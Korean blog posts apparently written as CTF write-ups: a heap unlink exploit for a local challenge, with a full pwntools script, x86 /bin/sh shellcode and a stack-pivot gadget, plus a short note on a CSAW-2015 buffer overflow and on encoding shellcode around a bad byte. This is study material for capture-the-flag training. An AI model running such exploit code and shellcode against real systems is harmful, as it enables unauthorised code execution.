libc 2.2버전에서 취약점이었지만

지금은 패치된 취약점

하지만 ctf문제로는 가끔 나온다고 한다.

실제로 pwnable.kr unlink문제도 같은 맥락


malloc과 free의 알고리즘을 잘 알고 있어야 풀 수 있는문제!


malloc은 linked list를 이용한다

자세한 설명은 

http://egloos.zum.com/minjang/v/1232908

여기 잘 나와있다


free에서는 unlink를 사용하는데

이것도 검색해서 배운후

이 문제를 풀어보자 


가장 기본적인 예시 문제이다 

(우리과 선배님이 내주신 문제)


chal1

from pwn import * import re p=process('/hee/chal1') raw_input() exit=0x804c8c8 arr=p.recv(4048) add=re.findall(r'[A-Z,0-9]{7}',arr)[6] add='0x'+add print add add=int(add,16) print hex(add) shellcode='\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80' fd=add+8+16 bk=exit-4 gadget='\xe8'+p32(add+60) payload="" payload+='\x00'*16 payload+=p32(add+60) #retaddr payload+='\x90'*4 payload+='\xbc'+p32(add+16) #mov esp, add+16 payload+=p32(0xc3) #ret payload+=p32(add+60) payload+='\x90'*16+gadget payload+='\x90'*(296-len(payload)-len(shellcode)) payload+=shellcode #payload+=p32(292) payload+="AAAA" #prev_size payload+=p32(0x1a9) #changed chunk_size(original 0x2a9) payload+=p32(1)*106    #to check prev_inuse flag(이전청크가 할당되있으면 check) payload+=p32(fd) #randomly made next_chunk point payload+=p32(bk) p.sendline(payload) p.interactive()



이문제의 취약점은 다음 청크의 size를 덮을수 있다는 것이다.

다음청크의 사이즈를 조작하면 원하는 영역에 다음 청크를 임의로 만들어 줄수 있다.

그러면 사이즈를 조작한 청크를 free할때 다음청크가 할당되있는지 확인하는데 이는 다음다음 청크의 prev_inuse flag를 확인한다(이것도 다음청크의 size를 조작하면 control 가능함 내경우 처음에 아무생각 없이 0x01을 때려넣었는데 운좋게 다음다음청크의 prev_inuse flag 플래그값이 0이 되면서  잘 돌아갔고 귀찮아서..ㅎ수정하지는 않았다.)

다음청크가 할당되있지 않으면 청크를 병합하기 위해 다음청크의 fd bk를 통해 unlink를 수행하는데 이때 fd, bk를 조작하여

arbitrary write가 가능하다. unlink로 write할때는 이중 포인터기때문에 바로 쉘코드의 주소를 넣어서는 안되고

나는 exit를 

mov esp, addr

ret

가젯을 만들어놓고 이 주소로 덮어준다음


eip를 컨트롤 하고 

eip를 쉘코드로 향하게 만들었다.

(heap영역에 x권한이 있기때문에) 

'war game > 기타 문제(ctf 등)' 카테고리의 다른 글

CSAW-2015 pwn precision 100pt  (0) 2016.12.06
pork, lockd  (0) 2016.11.13
[rop,rtl]luckyzzang  (0) 2016.11.05
[codegate2014]drupbox  (0) 2016.11.05
memod bss jmp esp 문제  (0) 2016.10.27

precision_a8f6f0590c177948fe06c76a1831e650



NX가 없는 문제

짱쉽죵



그냥 버퍼오버플로우 시키는데

쉘코드에 쓸때 주의할점 


\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 

이 쉘코드를 썼었는데

저 빨간부분이 mov al,0xb 코드인데

\x0b떄문에 뒤에가 짤려버림

그래서 mov al,0x1b해주고 sub al,0x10넣어주면 된당





'war game > 기타 문제(ctf 등)' 카테고리의 다른 글

unlink를 이용한 heap exploit  (0) 2016.12.15
pork, lockd  (0) 2016.11.13
[rop,rtl]luckyzzang  (0) 2016.11.05
[codegate2014]drupbox  (0) 2016.11.05
memod bss jmp esp 문제  (0) 2016.10.27

luckyzzang_writeup.pdf

luckyzzang


rop(RTL)를 잘활용한느 문제였다

send로 memmory leak을 하는 아이디어가 돋보였던 문제였다.


'war game > 기타 문제(ctf 등)' 카테고리의 다른 글

unlink를 이용한 heap exploit  (0) 2016.12.15
CSAW-2015 pwn precision 100pt  (0) 2016.12.06
pork, lockd  (0) 2016.11.13
[codegate2014]drupbox  (0) 2016.11.05
memod bss jmp esp 문제  (0) 2016.10.27

memod

listd

lucky_freebsd

listd.py

memod.py

죽어도하산안해.docx


'war game > 기타 문제(ctf 등)' 카테고리의 다른 글

unlink를 이용한 heap exploit  (0) 2016.12.15
CSAW-2015 pwn precision 100pt  (0) 2016.12.06
pork, lockd  (0) 2016.11.13
[rop,rtl]luckyzzang  (0) 2016.11.05
[codegate2014]drupbox  (0) 2016.11.05

+ Recent posts